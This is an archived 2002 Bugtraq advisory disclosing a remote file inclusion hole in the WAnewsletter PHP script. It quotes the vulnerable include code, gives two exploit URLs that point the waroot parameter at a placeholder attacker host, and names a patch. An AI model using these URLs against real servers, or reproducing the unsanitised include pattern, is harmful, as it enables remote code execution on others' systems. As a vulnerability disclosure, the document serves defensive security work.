WAnewsletter (PHP)

From: Frog Man (leseulfrog@hotmail.com)
Date: 12/19/02

  • Next message: securma massine: "Multiple vulnerability in Enceladus Server"
    From: "Frog Man" <leseulfrog@hotmail.com>
    To: bugtraq@securityfocus.com
    Date: Thu, 19 Dec 2002 16:19:52 +0100
    
    

    Informations :
    °°°°°°°°°°°°°°
    Website : http://www.phpcodeur.net
    Versions : 2.0beta -> 2.1.0
    Problem : Include file

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    newsletter.php 2.1beta -> 2.1.0 :
    ----------------------------------------------------
    if( !empty($HTTP_POST_VARS['action']) )
    {
            $action = $HTTP_POST_VARS['action'];
    }
    else if( !empty($HTTP_GET_VARS['action']) )
    {
            $action = $HTTP_GET_VARS['action'];
    }
    else
    {
            $action = '';
    }

    if( $action != '' || defined('IN_WA_FORM') )
    {
            $login = false;
            include_once($waroot . 'start.php');
    }
    [...]
    ----------------------------------------------------

    sql/db_type.php 2.0.2 -> 2.1.0 :
    ----------------------------------------
    switch($dbtype)
    {
            case 'mysql':
                    include_once($waroot . 'sql/mysql/mysql.inc.php');
                    break;

            case 'mssql':
                    include_once($waroot . 'sql/mssql/mssql.inc.php');
                    break;

            default:
                    echo '<b>Le type de base de données n\'est pas défini !</b>';
                    exit;
                    break;
    }
    [...]
    ----------------------------------------

    etc...

    Exploits :
    °°°°°°°°°°
    http://[target]/newsletter.php?action=1&waroot=http://[attacker]/
    http://[target]/sql/db_type.php?waroot=http://[attacker]/

    Patch :
    °°°°°°°
    A patch can be found on http://www.phpsecure.org .

    More details :
    °°°°°°°°°°°°°°
    In French :
    http://www.frog-man.org/tutos/WAnewsletter.txt
    Translated by Google :
    http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FWAnewsletter.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools7 -0700 (MST)

    frog-m@n

    _________________________________________________________________
    MSN Messenger : discutez en direct avec vos amis !
    http://www.msn.fr/msger/default.asp



    Relevant Pages

    • Video card - AGP 8x???
      ... MSN Messenger: discutez en direct avec vos amis! ...
      (Debian-User)
    • [VulnWatch] WebChat (PHP)
      ... Website: http://www.webdev.ro ... discutez en direct avec vos amis! ...
      (VulnWatch)
    • WebChat (PHP)
      ... Website: http://www.webdev.ro ... discutez en direct avec vos amis! ...
      (Bugtraq)
    • PEEL (PHP)
      ... Website: http://www.mapetite-entreprise.com ... PHP Code/Location: ... discutez en direct avec vos amis! ...
      (Bugtraq)
    • D-Forum (PHP)
      ... Website: http://www.adalis.fr/adalis.html ... discutez en direct avec vos amis! ...
      (Bugtraq)